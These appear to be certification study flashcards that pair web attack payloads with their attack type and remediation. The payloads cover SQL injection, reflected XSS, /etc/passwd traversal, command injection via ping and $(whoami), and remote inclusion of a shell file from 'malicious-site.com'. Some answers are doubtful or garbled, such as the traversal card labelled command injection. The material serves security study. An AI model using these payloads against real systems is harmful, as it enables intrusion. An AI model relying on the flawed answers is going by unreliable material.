3.4 Given a scenario, exploit application-based vulnerabilities Flashcards

1
Q

What type of attack:

item-widget’;waitfor%20delay%20’00:00:20’;–

A

SQL Injection (Stacked)

  • item-widget’;waitfor%20delay%20’00:00:20’;–
  • Parameterized Queries
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Remediation

item-widget’;waitfor%20delay%20’00:00:20’;–

A

Parameterized Queries

  • item-widget’;waitfor%20delay%20’00:00:20’;–
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What type of attack:

inner-tab’>alert (1)

A

Reflected Cross-Site Scripting (XSS)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is the remediation of the following?

inner-tab’>alert (1)

A

Input Sanitization < >
“,’,

  • inner-tab’>alert (1)
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

What type of attack:

search=Bob”%3e%3cimg%20src%3da%20oneerror%3dalert(1)%3

A

Reflected Cross-Site Scripting

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Remediation:

search=Bob”%3e%3cimg%20src%3da%20oneerror%3dalert(1)%3

A

Input Sanitization < >

“,’,

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

What type of attack:

item=widget’ + convert(int,@@version) +’

A

SQL Injection (Error-based)

  • item=widget’ + convert(int,@@version) +’
  • Error comes from converting the (int)
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Remediation:

item=widget’ + convert(int,@@version) +’

A

Parameterized Queries

  • SQL is always Parameterized Queries
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

What type of attack:

logfile=%2fetc%2fpasswd%00

A

Command Injection

  • logfile=%2fetc%2fpasswd%00
  • Could not find definite answer why
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

Remediation:

logfile=%2fetc%2fpasswd%00

A

Input Sanitization $ (.) (.)

  • The attack is: Command Injection
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

What type of attack:

site=www.exa’ping%20-c%2010%201ocalhost’mple.com

A

Command Injection

  • site=www.exa’ping%20-c%2010%201ocalhost’mple.com
  • Ping is the giveaway
  • Input Sanitization …, \ , / , sandbox requests
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

What type of attack:

item=widget%20union%20select%20null ,null ,@@version;–

A

SQL Injection (Union)

  • item=widget%20union%20select%20null ,null ,@@version;–
  • UNION is dead giveaway
  • SQL is always Parameterized Queries
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

What type of attack:

logfile=http:%2f%2fwww.malicious-site.com%2fshell.txt

A

Remote File Inclusion

  • logfile=http:%2f%2fwww.malicious-site.com%2fshell.txt
  • Input Sanitization … , \ , / , Sandbox Requests
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

What type of attack is this?

lookup=$(whoami)

A

Command Injection

  • lookup=$(whoami)
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

What is the remediation of the following:

logfile=http:%2f%2fwww.malicious-site.com%2fshell.txt

A

Input Sanitization … , \ , / , Sandbox Requests

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Remediation:

lookup=$(whoami)

A

Input Sanitization ‘,$(.)(.).

17
Q

What type of attack:

redir=http:%2f%2fwww.malicious-site.com

A

URL Redirect

18
Q

Remediation:

redir=http:%2f%2fwww.malicious-site.com

A

Prevent External Calls

19
Q

Common SQL Commands and Syntax

A

https://learning.oreilly.com/library/view/comptia-pentest-certification/9781260460056/f0166-01.jpg